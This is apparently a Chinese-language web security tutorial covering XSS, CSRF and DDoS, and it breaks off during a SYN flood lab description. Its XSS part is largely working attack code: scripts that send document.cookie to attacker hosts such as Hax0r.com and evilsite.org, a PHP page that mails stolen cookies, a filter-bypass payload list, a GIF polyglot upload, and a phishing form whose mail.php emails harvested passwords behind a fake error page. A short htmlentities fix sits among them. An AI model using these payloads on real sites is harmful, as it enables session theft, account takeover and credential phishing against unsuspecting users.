fanshuquan

网站安全原理性综合测试

同源策略（Same origin policy）是一个在多数浏览器中实施的概念，但它可被XSS攻击利用(它利用了一个用户对于某个网站或应用程序的信任)，也可被XSRF利用(它利用了网站或应用程序对用户的信任)。

网站是通过cookie来识别用户的，当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie，只要不关闭浏览器或者退出登录，以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url，可能就会执行一些用户不想做的功能（比如修改个人资料）。因为这个不是用户真正想发出的请求，这就是所谓的请求伪造。因为这些请求也是可以从第三方网站提交的，所以前缀跨站二字。

1、XSS

跨站脚本（Cross-site scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。

XSS攻击的危害总结

盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

盗窃企业重要的具有商业价值的资料

非法转账电子邮件

强制发送网站挂马

控制受害者机器向其它网站发起攻击

攻击过程如下图

实例测试

一、反射型XSS（那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞）

1、代码xss_1、xss_1_1(对于post包)

正确语句一：fstudio

测试语句一：<script>alert(/xss/)</script>

2、代码xss_2(对于get包)

正确语句一：http://localhost/test/xss/xss_2.php?param=fstudio

测试语句一：http://localhost/test/xss/xss_2.php?param=<script>alert(/xss/)</script>

二、存储型XSS（通过提交恶意数据到存储器（比如数据库、文本文件等），Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞）

三、DOM Based XSS（通过修改页面的DOM节点形成的XSS）

代码xss_3

正确语句一：http://www.baidu.com

测试语句一：' onclick=alert(/xss/) //

原理：<a href=’’ onclick=alert(/xss)//’>fstudio</a>

测试语句二：'><img src=# onerror=alert(/xss2/) /><'

原理：<a href=’’><img src=# onerror=alert(/xss/) /><’’>fstudio</a>

攻击方法

1、利用XSS盗取cookies
在一个有漏洞的页面插入下面的代码，例如一个留言本里
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻击者的网站)
用记事本新建文件: cookie.php，把下面的代码拷贝到文件里来。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">

</style></head>
<? mail('[email protected]', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html><BR>这样是仅仅不够的，还要去等待收到电子邮件，阅读读盗取到的cookie。

如何修复这个漏洞呢？
我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行：
<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
为:
<body>
<span class="alerte">Search result  :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>
还可以使用php的内置函数htmlspecialchars()，还有其他函数htmlentities()、strip_tags()等。
htmlspecialchars()的过滤是非常简单的，这里有一些绕过过滤的方法：
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">
'">><marquee><h1>XSS</h1></marquee>
'">><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
"><script alert(String.fromCharCode(88,83,83))</script>
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"/></a></><img src=1.gif onerror=alert(1)>
<body onLoad="alert('XSS');"
<body onunload="javascript:alert('XSS');">
<script language="JavaScript">alert('XSS')</script>
<img src="javascript:alert('XSS')">
'); alert('XSS
<font style='color:expression(alert(document.cookie))'>
<IMG DYNSRC=\"javascript:alert('XSS')\">
<IMG LOWSRC=\"javascript:alert('XSS')\">
</textarea><script>alert(/xss/)</script>
</title><script>alert(/xss/)</script>
<script src=http://yoursite.com/your_files.js></script>
"><script>alert(0)</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>
<script src="http://www.evilsite.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
还有很多，不在一一列举...
2、利用Flash进行XSS攻击
Flash是用于复杂的动画，仿真和游戏开发等。非常有趣的是Flash的getURL()动作，它可以使我们的页面重定向到函数指定的页面，改函数的语法如下：
getURL(url:String, [window: String,[method:String]])
例如：getURL("http://victime.com/login.php?logout=true","_self");
url: 重定向的网站url
window: 设置重定向的窗口打开方式 (_self, _blank…)
method: 请求页面的方式 GET 或者 POST
actionscrip来弹出警告窗口的方法：
getURL("javascript:alert('XSS'");
在2002年的时候，曾经公布这个函数的危险性，例如可以用下面的方式来获取浏览者的cookie:
getURL("javascript:alert(document.cookie)")
在2005年12月的时候，对getURL()进行了改进，改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫，Samy可以隐藏在flash中盗取cookies。
但是这样的更新就解决了XSS吗？不，目前还没有完全解决flash的XSS问题，下面的例子来说明，在flash文件中输入：
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
Haxored.js中的代码如下：
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
当然最为简单的安全解决方案就是不要在网站中使用flash。
3、上传文件进行XSS攻击
在画图工具里创建一个Haxored.gif图片，然后用记事本打开它，删除所有行并插入下面的内容：
GIF89a<script>alert("XSS")</script>
保存并关闭它。
然后把Haxored.gif上传到一个免费的图片网站上，再查看你的图片，XSS就产生了……不要用Mozillia Firefox来浏览图片，因为Mozillia Firefox不能运行该脚本，该攻击适用于Internet explorer浏览器。
为什么在脚本前面添加GIF89a呢？一般上传图片会这样的，在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞，并没有检查图片里的恶意代码。
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
.jpg及其它格式的图片就可以知道了，例如一个png格式的文件：‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不能仅仅依靠getimagesize()函数来检查图片。
4、利用XSS漏洞进行钓鱼
在我们的例子中，将有必要找一个存在XSS漏洞的网站，并在一个form表单里注入一个URL重定向的代码：
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=        OK        >
</form>
你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你，下面的php文件是用来发送email的（mail.php）:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">

</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("[email protected]", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用户提交后看到这个页面会认为网页等待与超载是正常的，而不会有所怀疑什么，邮件中会有用户信息。

2、CSRF

跨站请求伪造，也被称成为”one click attack”或者”session riding”，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。

尽管听起来像跨站脚本（XSS），但它与XSS非常不同，并且攻击方式几乎相左。XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

下面是CSRF的常见特性：

依靠用户标识危害网站

利用网站对用户标识的信任

欺骗用户的浏览器发送HTTP请求给目标站点

另外可以通过IMG标签会触发一个GET请求，可以利用它来实现CSRF攻击。

CSRF风险在于那些通过基于受信任的输入form和对特定行为无需授权的已认证的用户来执行某些行为的web应用。已经通过被保存在用户浏览器中的cookie进行认证的用户将在完全无知的情况下发送HTTP请求到那个信任他的站点，进而进行用户不愿做的行为。

我们可以通过一张图形象地把过程演示如下:

3、DDOS

DDOS 是一种向服务器发送大量无用请求，使服务器资源过载,使服务无法正常响应的一种攻击手段。大致可分为网络层的ddos攻击和应用层的ddos攻击。

网络层的ddos攻击只要手段有sys flood，udp flood，icmp flood 等。其中syn flood 是一种最为经典的ddos 攻击，它利用了tcp/ip 协议的三次握手的规则，建立大量的半连接（半连接：当客户端向服务器器发送syn包时，服务器会向客户端发送syn/ack的回应包，但由于创建连接的是ip是虚假的，使得客户端对syn/ack的包无法正常回应，但服务端不知道这个地址是虚假的，所以它会重试发送3-5次，直到超时才会丢弃这个连接），这种大量的半连接会使服务器马上无法响应，拒接服务。对抗这种ddos 攻击，一般会使用各种算法，针对ddos的攻击特性，对流量进行清洗。
应用层的ddos，就是发生在应用层面的，他是属于的正常的tcp连接，但它比网络层的ddos更难控制，因为在应用层的ddos攻击和正常应用访问之间的界限很难区分。

Ddos的攻击原理非常简单：

CC攻击（challenge Collapasar 挑战黑洞）是应用层ddos的一种攻击手段，通过对一些资源消耗比较大的应用页面发起连接，消耗系统资源从而达到拒绝服务的目的。
还有一种就是攻击一些流量大的网站，在里面嵌入连接攻击目标的链接，这样的话所以访问该网站的用户都会对目标发起一次http请教。前几天的github被拖垮的原因，就是由于12306的抢票插件中嵌入了访问github的链接，这个也可以算是一次ddos攻击。
还有一种攻击手段就是构造一个的不完整的http头部，是服务端认为没有正确的接受http header，并保持此连接不释放，这样持续的构造不完整的http头部，很快就可以是系统资源耗尽.。

下面是我在实验室中模拟的一次Syn Flood攻击的实际过程

这一个局域网环境，这是在攻击并未进行之前，在Solaris上进行snoop的记录，snoop与tcpdump等网络监听工具一样，也是一个很好的网络抓包与分析的工具。可以看到攻击之前，目标主机上接到的基本上都是一些普通的网络包。

…